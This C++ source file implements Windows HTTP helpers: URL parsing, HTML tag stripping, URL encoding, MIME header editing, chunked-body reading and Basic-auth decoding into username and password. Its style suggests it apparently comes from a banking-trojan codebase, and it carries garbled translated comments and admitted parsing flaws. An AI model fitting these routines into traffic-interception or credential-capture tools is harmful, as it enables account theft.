#include <windows.h>
#include <wininet.h>
#include <shlwapi.h>

#include "httptools.h"

void HttpTools::init(void)
{

}

void HttpTools::uninit(void)
{

}

LPSTR HttpTools::_findValueInUrlEncoded(const void *list, DWORD listSize, const LPSTR varable, LPDWORD valSize)
{
  LPSTR p = (LPSTR)list;
  LPSTR curVar;
  DWORD varableSize = Str::_LengthA(varable);

  while((curVar = Str::_findSubStringA(p, varable)) != NULL)
  {
    //Variable is found.
    if(curVar[varableSize] == '=' && (curVar == (LPSTR)list || *(curVar - 1) == '&')) 
    {
      LPSTR val    = curVar + varableSize + 1;
      LPSTR valEnd = Str::_findCharA(val, '&');

      *valSize = valEnd == NULL ? Str::_LengthA(val) : (DWORD)(valEnd - val);
      return val;
    }
    p = curVar + varableSize;
  }
  return NULL;
}

bool HttpTools::_parseUrl(const LPSTR url, URLDATA *ud)
{
  URL_COMPONENTSA uc;
  Mem::_zero(&uc, sizeof(URL_COMPONENTSA));

  uc.dwStructSize      = sizeof(URL_COMPONENTSA);
  uc.dwHostNameLength  = 1;
  uc.dwUrlPathLength   = 1;
  uc.dwExtraInfoLength = 1;

  if(CWA(wininet, InternetCrackUrlA)(url, 0, 0, &uc) == FALSE)
  {
    return false;
  }
  
  Mem::_zero(ud, sizeof(URLDATA));

  //Host.
  if((ud->host = Str::_CopyExA(uc.lpszHostName, uc.dwHostNameLength)) == NULL)
  {
    return false;
  }

  //URI.
  {
    //Skipping '/'. Tipo compatibility, since in MSDN are not written about the presence or obezatelnom
    //otsuvii slash.
    while(uc.dwUrlPathLength > 0 && *uc.lpszUrlPath == '/')
    {
      uc.dwUrlPathLength--;
      uc.lpszUrlPath++;
    }
    
    DWORD fullSize = 1 + uc.dwUrlPathLength + uc.dwExtraInfoLength;
    if((ud->uri = (LPSTR)Mem::alloc((fullSize + 1) * sizeof(char))) == NULL)
    {
      Mem::free(ud->host);
      return false;
    }

    Mem::_copy(ud->uri + 1, uc.lpszUrlPath, uc.dwUrlPathLength);
    Mem::_copy(ud->uri + 1 + uc.dwUrlPathLength, uc.lpszExtraInfo, uc.dwExtraInfoLength);

    ud->uri[0]         = '/';
    ud->uri[fullSize]  = 0;
    ud->uriExtraOffset = 1 + uc.dwUrlPathLength;
  }

  //Port.
  ud->port = uc.nPort;

  //Type
  switch(uc.nScheme)
  {
    case INTERNET_SCHEME_HTTP:  ud->scheme = UDS_HTTP; break;
    case INTERNET_SCHEME_HTTPS: ud->scheme = UDS_HTTPS; break;
    default:                    ud->scheme = UDS_UNKNOWN;
  }

  return true;
}

void HttpTools::_freeUrlData(URLDATA *ud)
{
  Mem::free(ud->host);
  Mem::free(ud->uri);
}

LPWSTR HttpTools::_getFileNameFromUrl(const LPSTR url)
{
  LPWSTR retVal = NULL;
  URLDATA ud;
  
  if(_parseUrl(url, &ud))
  {
    //Remove the extra data.
    ud.uri[ud.uriExtraOffset] = 0;
    
    LPSTR fileName = Str::_findRCharA(ud.uri, '/');
    if(fileName != NULL && fileName[1] != 0)
    {
      if((fileName = Str::_CopyExA(fileName, -1)) != NULL)
      {
        if(CWA(shlwapi, UrlUnescapeA)(fileName, NULL, NULL, URL_UNESCAPE_INPLACE) == S_OK)
        {
          retVal = Str::_utf8ToUnicode(fileName, -1);
        }
        Mem::free(fileName);
      }
    }
    _freeUrlData(&ud);
  }
  return retVal;
}

bool HttpTools::_compareTagNameA(const LPSTR tag, DWORD tagSize, const LPSTR string)
{
  LPSTR pos = string;
  if(*pos == '<')pos++;
  if(*pos == '/')pos++;

  if(CWA(shlwapi, StrCmpNIA)(pos, tag, tagSize) == 0)
  {
    BYTE c = *(pos + tagSize);
    if(c == 0 || IS_SPACE_CHAR(c) || c == '>' || c == '/')return true;
  }
  return false;
}

#define TAG_SCRIPT           "script"
#define TAG_SCRIPT_SIZE      (sizeof(TAG_SCRIPT) - 1)
#define SYMB_SPACE           "nbsp;"
#define SYMB_SPACE_SIZE      (sizeof(SYMB_SPACE) - 1)

//FIXME: Improve the algorithm.
DWORD HttpTools::_removeTagsA(LPSTR string, DWORD size)
{
  static const LPSTR tags[]       = {"br", "hr", "tr", "td", "div", "h1", "h2", "h3", "h4", "h5", "h6", "li"};
  static const BYTE  tags_size[]  = {2,    2,    2 ,   2   , 3    , 2   , 2   , 2   , 2   , 2   , 2   , 2};
  static const BYTE  tags_chars[] = {'\n', '\n', '\n', ' ' , '\n' , '\n', '\n', '\n', '\n', '\n', '\n', '\n'};

  int level       = 0;
  bool isScript   = false;
  DWORD oldOffset = 0;
  DWORD newOffset = 0;

  while(oldOffset < size)
  {
    if(level && string[oldOffset] == '>')level--;
    else if(string[oldOffset] == '<')
    {
      if(level++ == 0)
      {
        DWORD curSize = size - oldOffset;
        LPSTR curPos  = string + oldOffset + 1;

        //Ischim / script
        if(isScript)
        {
          //FIXME: If we vstertim inside a script tag "</ script>", it would be a mistake.
          if(curSize > TAG_SCRIPT_SIZE + 1 && *curPos == '/' && _compareTagNameA(TAG_SCRIPT, TAG_SCRIPT_SIZE, curPos + 1))isScript = false;
        }
        else
        {
          if(curSize > TAG_SCRIPT_SIZE && _compareTagNameA(TAG_SCRIPT, TAG_SCRIPT_SIZE, curPos))isScript = true;
          else for(BYTE k = 0; k < sizeof(tags) / sizeof(LPSTR); k++)
          {
            BYTE cts = tags_size[k];
            if(curSize > cts && _compareTagNameA(tags[k], cts, curPos))
            {
              curPos += cts;
              string[newOffset++] = tags_chars[k];
              break;
            }
          }
        }
      }
    }
    else if(!level && !isScript && string[oldOffset] != '\r' && string[oldOffset] != '\n' && string[oldOffset] != '\t')
    {
      if(string[oldOffset] == '&' && (size - oldOffset) > SYMB_SPACE_SIZE &&  CWA(shlwapi, StrCmpNIA)(string + oldOffset + 1, SYMB_SPACE, SYMB_SPACE_SIZE) == 0)
      {
        string[newOffset] = ' ';
        oldOffset += SYMB_SPACE_SIZE;
      }
      else string[newOffset] = string[oldOffset];
      
      //FIXME: Ignore whitespace if you already have a space.
      newOffset++;
    }
    oldOffset++;
  }

  return size - (oldOffset - newOffset);
}

DWORD HttpTools::_urlEncodeA(LPSTR input, DWORD inputSize, LPSTR output)
{
  DWORD x = 0, y = 0;
  BYTE c;
  for(; x < inputSize; x++, y++)
  {
    c = input[x];
    if(c == ' ')output[y] = '+';
    else if((c < '0' && c != '-' && c != '.') || (c < 'A' && c > '9') || (c > 'Z' && c < 'a' && c != '_') || (c > 'z'))
    {
      output[y++] = '%';
      Str::_byteToCharA(c, output + y);
      y++;
    }
    else output[y] = c;
  }
  output[y] = 0;
  return y;
}

DWORD HttpTools::_urlEncodeW(LPWSTR input, DWORD inputSize, LPWSTR output)
{
  DWORD x = 0, y = 0;
  BYTE c;
  for(; x < inputSize; x++, y++)
  {
    c = input[x];
    if(c == ' ')output[y] = '+';
    else if((c < '0' && c != '-' && c != '.') || (c < 'A' && c > '9') || (c > 'Z' && c < 'a' && c != '_') || (c > 'z'))
    {
      output[y++] = '%';
      Str::_byteToCharW(c, output + y);
      y++;
    }
    else output[y] = c;
  }
  output[y] = 0;
  return y;
}

LPSTR HttpTools::_urlEncodeExA(LPSTR input, DWORD inputSize)
{
  LPSTR newString = (LPSTR)Mem::alloc((inputSize * 3 + 1) * sizeof(char));
  if(newString != NULL)
  {
    _urlEncodeA(input, inputSize, newString);
    return newString;
  }
  return NULL;
}

LPWSTR HttpTools::_urlEncodeExW(LPWSTR input, DWORD inputSize)
{
  LPWSTR newString = (LPWSTR)Mem::alloc((inputSize * 3 + 1) * sizeof(WCHAR));
  if(newString != NULL)
  {
    _urlEncodeW(input, inputSize, newString);
    return newString;
  }
  return NULL;
}

LPSTR HttpTools::_getMimeHeader(const void *mimeData, DWORD mimeSize, const LPSTR header, SIZE_T *size)
{
  SIZE_T headerSize = ((DWORD_PTR)header > GMH_COUNT ? Str::_LengthA(header) : 0);
  LPSTR data        = (LPSTR)mimeData;
  LPSTR dataEnd     = data + mimeSize;

  *size = 0;

  while(data < dataEnd)
  {
    LPSTR cur      = data;
    SIZE_T curSize = Str::_getCurrentStringSizeA(data, dataEnd, &data);

    //If an empty string.
    if(curSize == 0)
    {
      if((DWORD_PTR)header == GMH_DATA)
      {
        *size = (SIZE_T)(dataEnd - data);
        return data;
      }
      return NULL; //After a blank line is no longer headers.
    }

    //These data can be obtained only from the first row.
    if(cur == (LPSTR)mimeData && ((DWORD_PTR)header == GMH_HTTP_METHOD || (DWORD_PTR)header == GMH_HTTP_URI || (DWORD_PTR)header == GMH_REQUEST_HTTP_VERSION))
    {
      //Ischim all the gaps.
      LPSTR spaces[2];
      DWORD count = 0;

      dataEnd = cur + curSize;
      for(LPSTR p = cur; p < dataEnd; p++)if(IS_SPACE_CHAR(*p))
      {
        if(count < 2)spaces[count] = p;
        count++;
      }

      if(count == 2)
      {
        if((DWORD_PTR)header == GMH_HTTP_METHOD)dataEnd = spaces[0];
        else if((DWORD_PTR)header == GMH_HTTP_URI){cur = spaces[0] + 1; dataEnd = spaces[1];}
        else if((DWORD_PTR)header == GMH_REQUEST_HTTP_VERSION)cur = spaces[1] + 1;

        *size = (SIZE_T)(dataEnd - cur);
        return cur;
      }
      return NULL;
    }
    else if(curSize > headerSize && CWA(shlwapi, StrCmpNIA)(header, cur, headerSize) == 0 && cur[headerSize] == ':')
    {
      dataEnd = cur + curSize;
      cur     = cur + headerSize + 1;

      while(IS_SPACE_CHAR(*cur))cur++;
      *size = (SIZE_T)(dataEnd - cur);
      return cur;
    }
  }
  return NULL;
}

DWORD HttpTools::_removeMimeHeader(void *mimeData, DWORD mimeSize, const LPSTR header)
{
  SIZE_T headerSize = Str::_LengthA(header);
  LPSTR data        = (LPSTR)mimeData;
  LPSTR dataEnd     = data + mimeSize;

  while(data < dataEnd)
  {
    LPSTR cur      = data;
    SIZE_T curSize = Str::_getCurrentStringSizeA(data, dataEnd, &data);

    //After a blank line is no longer headers.
    if(curSize == 0)break;

    if(curSize > headerSize && CWA(shlwapi, StrCmpNIA)(header, cur, headerSize) == 0 && cur[headerSize] == ':')
    {
      curSize = (SIZE_T)(data - cur);
      Mem::_copy(cur, cur + curSize, (DWORD)(dataEnd - data));

      mimeSize -= curSize;
      dataEnd  -= curSize;
      data      = cur;
    }
  }
  return mimeSize;
}

DWORD HttpTools::_modifyMimeHeader(void *mimeData, DWORD mimeSize, const LPSTR header, const LPSTR context)
{
  SIZE_T contextSize = Str::_LengthA(context);
  SIZE_T headerSize  = Str::_LengthA(header);
  LPSTR data         = (LPSTR)mimeData;
  LPSTR dataEnd      = data + mimeSize;

  while(data < dataEnd)
  {
    LPSTR cur      = data;
    SIZE_T curSize = Str::_getCurrentStringSizeA(data, dataEnd, &data);

    //After a blank line is no longer headers.
    if(curSize == 0)break;

    if(curSize > headerSize && CWA(shlwapi, StrCmpNIA)(header, cur, headerSize) == 0 && cur[headerSize] == ':')
    {
      SIZE_T postfixSize = (SIZE_T)(dataEnd - data);
      LPSTR tmpBuf; //FIXME: This is a lazy brain, make the algorithm.
       
      if(postfixSize > 0 && (tmpBuf = (LPSTR)Mem::copyEx(data, postfixSize)) == NULL)continue;

      curSize = headerSize + 1; //':' Character.
      if(contextSize > 0)
      {
        cur[curSize++] = ' ';
        Mem::_copy(cur + curSize, context, contextSize);
        curSize += contextSize;
      }
      
      //It's the law RFC, varinat with only \ n do not consider.
      cur[curSize++] = '\r';
      cur[curSize++] = '\n';
      
      if(postfixSize > 0)
      {
        Mem::_copy(cur + curSize, tmpBuf, postfixSize);
        Mem::free(tmpBuf);
      }

      mimeSize = (SIZE_T)(cur - (LPSTR)mimeData) + curSize + postfixSize;
      dataEnd  = (LPSTR)mimeData + mimeSize;
      data      = cur + curSize;
    }
  }
  return mimeSize;
}

/*
  Chunk format (simplified):
 
  <HEX SIZE>[ chunk extension ] CRLF
  <DATA> CRLF

  The chunked encoding modifies the body of a message in order to
  transfer it as a series of chunks, each with its own size indicator,
  followed by an OPTIONAL trailer containing entity-header fields. This
  allows dynamically produced content to be transferred along with the
  information necessary for the recipient to verify that it has
  received the full message.

      Chunked-Body   = *chunk
                       last-chunk
                       trailer
                       CRLF

      chunk          = chunk-size [ chunk-extension ] CRLF
                       chunk-data CRLF
      chunk-size     = 1*HEX
      last-chunk     = 1*("0") [ chunk-extension ] CRLF

      chunk-extension= *( ";" chunk-ext-name [ "=" chunk-ext-val ] )
      chunk-ext-name = token
      chunk-ext-val  = token | quoted-string
      chunk-data     = chunk-size(OCTET)
      trailer        = *(entity-header CRLF)

  The chunk-size field is a string of hex digits indicating the size of
  the chunk. The chunked encoding is ended by any chunk whose size is
  zero, followed by the trailer, which is terminated by an empty line.
*/
void *HttpTools::_readChunkedData(const void *data, DWORD dataSize, void **chunkedData, LPDWORD chunkedDataSize)
{
  LPSTR p   = (LPSTR)data;
  LPSTR end = p + dataSize;

  //Read.
  if(Str::_getCurrentStringSizeA(p, end, (LPSTR *)chunkedData) > 0) //FIXME: check for \ r \ n
  {    
    *chunkedDataSize = Str::_hexStringToDwordA(p); //Reads until the Third symbol different from 0-F.
    
    p = ((LPSTR)*chunkedData) + *chunkedDataSize;
    
    if(p < end)
    {
      if(p[0] == '\n')return (p + 1);
      if(p + 1 < end && p[0] == '\r' && p[1] == '\n')return (p + 2);
    }    

    *chunkedData = NULL;
    return p;
  }
  return NULL;
}

LPSTR HttpTools::_catExtraInfoFromUrlToUrlA(const LPSTR source, const LPSTR dest)
{
  int destSize   = Str::_LengthA(dest);
  int sourceSize = Str::_LengthA(source);

  if(destSize > 0 && sourceSize > 0)
  {
    LPSTR sourceInfo = Str::_findCharA(source, '?');
    if(sourceInfo != NULL)
    {
      int sourceInfoSize = Str::_LengthA(++sourceInfo);

      LPSTR p = (LPSTR)Mem::alloc((destSize + sourceInfoSize + 2/*? (K) + \ 0*/) * sizeof(char));
      if(p != NULL)
      {
        Mem::_copy(p, dest, destSize);
        p[destSize++] = (Str::_findCharA(dest, '?') == NULL ? '?' : '&');
        Str::_CopyA(p + destSize, sourceInfo, sourceInfoSize);
        return p;
      }
    }
  }
  return Str::_CopyExA(dest, destSize);
}

bool HttpTools::_parseAuthorization(const LPSTR source, DWORD sourceSize, LPWSTR *userName, LPWSTR *password)
{
  bool retVal = false;

  //Basic
  if(sourceSize > 6 && Str::_CompareA("Basic ", source, 6, 6) == 0)
  {
    LPSTR p = (LPSTR)source + 6;
    while(IS_SPACE_CHAR(*p))p++; //Just in case. Line 100% konachaetsya to zero.

    LPSTR decoded;
    SIZE_T decodedSize;
    if((decoded = (LPSTR)Crypt::_base64Decode(p, (SIZE_T)(source + sourceSize - p), &decodedSize)) != NULL)
    {
      if((p = Str::_findCharA(decoded, ':')) != NULL)
      {
        *userName = Str::_utf8ToUnicode(decoded, p - decoded);
        *password = Str::_utf8ToUnicode(p + 1, -1);
        retVal = true;
      }
      Mem::free(decoded);
    }
  }

  return retVal; 
}
